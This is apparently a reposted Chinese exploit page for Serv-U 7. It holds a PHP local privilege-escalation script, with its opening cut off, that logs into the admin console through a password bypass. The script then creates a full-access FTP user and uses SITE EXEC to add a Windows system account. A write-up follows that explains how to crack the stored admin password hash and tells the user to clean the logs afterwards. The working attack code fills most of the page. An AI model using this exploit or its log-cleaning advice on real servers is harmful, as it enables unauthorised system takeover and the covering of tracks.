serv-u 7 local exp

英雄其他 02-18 654 0

来源：Sebug
http://www.sebug.net/exploit/5802/

[code]

Serv-u 7 local exp ver 1.0 by kxlzx

Serv-u 7 local exp ver 1.0 by kxlzx

直接提权！
    
QA


","",$result);
	if ($sessionid!="")
		echo "登陆成功！\r\n";
	fclose($sock_login);
//login-----------------------------------------

//getOrganizationId-------------------------------
	$OrganizationId="";
	$sock_OrganizationId = fsockopen($host, $port);
	$URL='/Admin/ServerUsers.htm?Page=1';
	$postStr = createRequest($port,$host,$URL,"",$sessionid,"");
	fputs($sock_OrganizationId, $postStr);
	$resultOrganizationId="";
	while(!feof($sock_OrganizationId)) {
		$result = fread($sock_OrganizationId, 1024);
		$resultOrganizationId=$resultOrganizationId.$result;
	}
	$strTmp = "OrganizationUsers.xml&ID=";
	$OrganizationId = substr($resultOrganizationId,strpos($resultOrganizationId,$strTmp)+strlen($strTmp),strlen($strTmp)+15);
	$OrganizationId = substr($OrganizationId,0,strpos($OrganizationId,"\""));
	fclose($sock_OrganizationId);
	if ($OrganizationId!="")
		echo "获取OrganizationId".$OrganizationId."成功！\r\n";
//getOrganizationId-------------------------------

//getuserid---------------------------------------
	$getuserid="";
	$sock_getuserid = fsockopen($host, $port);
	$URL="/Admin/XML/User.xml?Command=AddObject&Object=COrganization.".$OrganizationId.".User&Temp=1&Sync=546666666666666663";
	$ref="http://".$host.":".$port."/Admin/ServerUsers.htm?Page=1";
	$post_data_getuserid="";
	$postStr = createRequest($port,$host,$URL,$post_data_getuserid,$sessionid,$ref);
	fputs($sock_getuserid, $postStr);
	$result = fread($sock_getuserid, 1280);
	$result = getmidstr("",$result);
	fclose($sock_getuserid);
	$getuserid = $result;
	if ($getuserid!="")
		echo "获取用户ID".$getuserid."成功！\r\n";
//getuserid---------------------------------------

//adduser-----------------------------------------
	$sock_adduser = fsockopen($host, $port);
	$URL="/Admin/XML/Result.xml?Command=UpdateObject&Object=COrganization.".$OrganizationId.".User.".$getuserid."&Sync=1227071190250";
	$post_data_adduser['LoginID'] = $ftpuser;
	$post_data_adduser['FullName'] = "";
	$post_data_adduser['Password'] = 'hahaha';
	$post_data_adduser['ComboPasswordType'] = "%E5%B8%B8%E8%A7%84%E5%AF%86%E7%A0%81";
	$post_data_adduser['PasswordType'] = "0";
	$post_data_adduser['ComboAdminType'] = "%E6%97%A0%E6%9D%83%E9%99%90";
	$post_data_adduser['AdminType'] = "";
	$post_data_adduser['ComboHomeDir'] = "/c:";
	$post_data_adduser['HomeDir'] = "/c:";
	$post_data_adduser['ComboType'] = "%E6%B0%B8%E4%B9%85%E5%B8%90%E6%88%B7";
	$post_data_adduser['Type'] = "0";
	$post_data_adduser['ExpiresOn'] = "0";
	$post_data_adduser['ComboWebClientStartupMode'] = "%E6%8F%90%E7%A4%BA%E7%94%A8%E6%88%B7%E4%BD%BF%E7%94%A8%E4%BD%95%E7%A7%8D%E5%AE%A2%E6%88%B7%E7%AB%AF";
	$post_data_adduser['WebClientStartupMode'] = "";
	$post_data_adduser['LockInHomeDir'] = "0";
	$post_data_adduser['Enabled'] = "1";
	$post_data_adduser['AlwaysAllowLogin'] = "1";
	$post_data_adduser['Description'] = "";
	$post_data_adduser['IncludeRespCodesInMsgFiles'] = "";
	$post_data_adduser['ComboSignOnMessageFilePath'] = "";
	$post_data_adduser['SignOnMessageFilePath'] = "";
	$post_data_adduser['SignOnMessage'] = "";
	$post_data_adduser['SignOnMessageText'] = "";
	$post_data_adduser['ComboLimitType'] = "%E8%BF%9E%E6%8E%A5";
	$post_data_adduser['LimitType'] = "Connection";
	$post_data_adduser['QuotaBytes'] = "0";
	$post_data_adduser['Quota'] = "0";
	$post_data_adduser['Access'] = "7999";
	$post_data_adduser['MaxSize'] = "0";
	$post_data_adduser['Dir'] = "%25HOME%25";
	$postStr = createRequest($port,$host,$URL,$post_data_adduser,$sessionid,"http://127.0.0.1".":".$port."/Admin/ServerUsers.htm?Page=1");
	fputs($sock_adduser, $postStr,strlen($postStr));
	$result = fread($sock_adduser, 1280);
	fclose($sock_adduser);
	echo "添加用户成功！\r\n";
//adduser-----------------------------------------

//addpower-----------------------------------------
	$sock_addpower = fsockopen($host, $port);
	$URL="/Admin/XML/Result.xml?Command=AddObject&Object=CUser.".$getuserid.".DirAccess&Sync=1227081437828";
	$post_data_addpower['Access'] = "7999";
	$post_data_addpower['MaxSize'] = "0";
	$post_data_addpower['Dir'] = "/c:";
	$post_data_addpower['undefined'] = "undefined";
	$postStr = createRequest($port,$host,$URL,$post_data_addpower,$sessionid,"http://127.0.0.1".":".$port."/Admin/ServerUsers.htm?Page=1");
	fputs($sock_addpower, $postStr,strlen($postStr));
	$result = fread($sock_addpower, 1280);
	fclose($sock_addpower);
	echo "添加权限成功！\r\n";

//addpower-----------------------------------------

//exec-------------------------------
	$sock_exec = fsockopen("127.0.0.1", $ftpport, &$errno, &$errstr, 10);
	$recvbuf = fgets($sock_exec, 1024);
	$sendbuf = "USER ".$ftpuser."\r\n";
	fputs($sock_exec, $sendbuf, strlen($sendbuf));
	$recvbuf = fgets($sock_exec, 1024);

	$sendbuf = "PASS hahaha\r\n";
	fputs($sock_exec, $sendbuf, strlen($sendbuf));
	$recvbuf = fgets($sock_exec, 1024);

	$sendbuf = $exec_addUser."\r\n";
	fputs($sock_exec, $sendbuf, strlen($sendbuf));
	$recvbuf = fread($sock_exec, 1024);
	echo "执行".$exec_addUser."\r\n返回了$recvbuf\r\n";


	$sendbuf = $exec_addGroup."\r\n";
	fputs($sock_exec, $sendbuf, strlen($sendbuf));
	$recvbuf = fread($sock_exec, 1024);

	echo "执行".$exec_addGroup."\r\n返回了$recvbuf\r\n";
	fclose($sock_exec);
	echo "好了，自己3389上去清理ftp用户日志吧！\r\n";
//exec-------------------------------

}

/** function createRequest
	@author : kxlzx 2008-11-19
	@port_post : administrator port $port=43958;
	@host_post : host $host="127.0.0.1";
	@URL_post : target $URL='/Web%20Client/Login.xml?Command=Login&Sync=1543543543543543';
	@post_data_post : arraylist $post_data['user'] = "";...
	@return httprequest string
*/
function createRequest($port_post,$host_post,$URL_post,$post_data_post,$sessionid,$referer){
	$data_string="";
	if ($post_data_post!="")
	{
		foreach($post_data_post as $key=>$value)
		{
			$values[]="$key=".urlencode($value);
		}
		$data_string=implode("&",$values);
	}
	$request.="POST ".$URL_post." HTTP/1.1\r\n";
	$request.="Host: ".$host_post."\r\n";
	$request.="Referer: ".$referer."\r\n";
	$request.="Content-type: application/x-www-form-urlencoded\r\n";
	$request.="Content-length: ".strlen($data_string)."\r\n";
	$request.="User-Agent: Serv-U\r\n";
	$request.="x-user-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322)\r\n";
	$request.="Accept: */*\r\n";
	$request.="Cache-Contro: no-cache\r\n";
	$request.="UA-CPU: x86\r\n";

	if ($sessionid!="")
	{
		$request.="Cookie: Session=".$sessionid."\r\n";
	}
	$request.="\r\n";
	$request.=$data_string."\r\n";

	return $request;
}

//getMidfor2str copy from internet
function getmidstr($L,$R,$str)
{
	$int_l=strpos($str,$L);
	$int_r=strpos($str,$R);
	If ($int_l>-1&&$int_l>-1)
	{
		$str_put=substr($str,$int_l+strlen($L),($int_r-$int_l-strlen($L)));
		return $str_put;
	}
	else
		return "没找到需要的变量，请联系[email protected]";
}
?>

默认为空，如果密码为空，填什么都能进去。
如果修改过，管理员密码默认会在这里：
C:\Program Files\RhinoSoft.com\Serv-U\Users\Local Administrator Domain\.Archive
文件中找到一个MD5密码值。
C:\Program Files\RhinoSoft.com\Serv-U
是su的根目录。
密码值的样式为(假设是123456)
kx#######################
#代表123456的32位MD5加密，而kx则是su对md5的密码算法改进的随机2位字符。
破解后的密码为kx123456，去掉kx就是密码了。
你可以针对这个加密生成字典。

auther:kxlzx www.inbreak.net

一，su7是提权有几种方式？
	有两种形式去干掉su7。
	1>，登陆管理员控制台的页面
			==>获取OrganizationId，用于添加用户
			==>获取全局用户的“下一个新用户ID”
			==>添加用户
			==>添加用户的权限 or 添加全局用户权限
			==>用户登陆
			==>执行系统命令添加系统账户。
	2>，登陆管理员控制台页面
			==>基本WEB客户端
			==>来到serv-u的目录下--users--Global user目录
			==>上传一个你已经定义好的用户文件
			==>用户登陆
			==>执行系统命令添加系统账户
	而本文件使用了第一种方法。
二，提权的原理？
	Su7的管理平台是http的，很先进。
	抓包，分析，发现了以下路程是可以利用的。
	1，	管理员从管理控制台打开web页面时，是不需要验证密码的。
	2，	管理员如果用某URL打开web页面时，虽然需要输入密码，但是无论输入什么，都可以进入。“/?Session=39893&Language=zh,CN&LocalAdmin=1”
	3，	管理员可以添加用户有两种，一种是全局用户，一种是某个域下的用户。而权限设置也是两种，一种是全局，一种是针对用户。
	4，	管理员添加了用户的这个包和设置权限这个包，是分开的。
	所以，我可以抓包然后转换成php的socket连接post出去。
	最后在用经典的ftp登陆，exec命令。达到提权。
	在写php的过程中，遇到很多问题，比如函数不会用等等（—_—!以前没学过php），感谢“云舒牛”帮忙。。。
	在分析包的流程，发现了一些特征，服务器返回的数据，全是以xml格式发来的。而在数据传输的过程中，设计的很经典。
	Su7也有自己的数据库，他也会自己生成一个id。
	这个ID是随机的，在你创建用户时，会先请求服务器生成一个，生成好后，修改该id的用户名，密码等。
	这很像oracle的insert手段。

	写工具的过程中，遇到很多麻烦，最大的麻烦就是这个ID问题，后来分析出来了。
	添加权限时，也是可以利用这个ID的。
	于是工具一共连接了6次服务器，这几次分别是：
	1，	用来登陆平台，使用那个输入任何密码都可以登陆的页面地址。返回一个sessionid，这个sessionid在以后的包都用到了。
	2，	获取OrganizationId，用于添加用户
	3，	用来请求一个用户ID。
	4，	修改该ID的登陆用户名，密码。
	5，	修改该ID的权限，加c盘的写删执行等。
	6，	这次连接是做坏事的，使用前面添加的用户执行系统命令。
三，为啥我明明显示成功了，但是却提不上去？
	这要看错误代码了，这里偶很惭愧，并没有写详细的错误代码判断。
	一般有以下几种情况：
	1，可能是因为管理员密码不对。
		参照管理员密码的连接。
	2，可能是因为管理员限制了执行SITE EXEC。
		有待程序修改，程序可以加一个让他不限制的功能。
	3，可能是程序问题。
	4，为啥作者有这么多理由不去改？
	你没发现么？一旦把东西做完美了，那比较系统的防御方案就出来了。
	如果不完美，让他以为我们就这点手段，防御系统也会这么认为。
	不信的话，过段时间，防御方案出来了，肯定有一条：“修改site exec为不可访问”。
	到时候，我再写个功能，把这玩意改回来就是。
	所以，等大家都提倡要XXXX的时候，我再解决XXXX的问题。大家先这么玩着吧:)

auther:kxlzx www.inbreak.net

[/code]

分类

标签

友情链接

serv-u 7 local exp

serv-u 7 local exp：等您坐沙发呢！

发表评论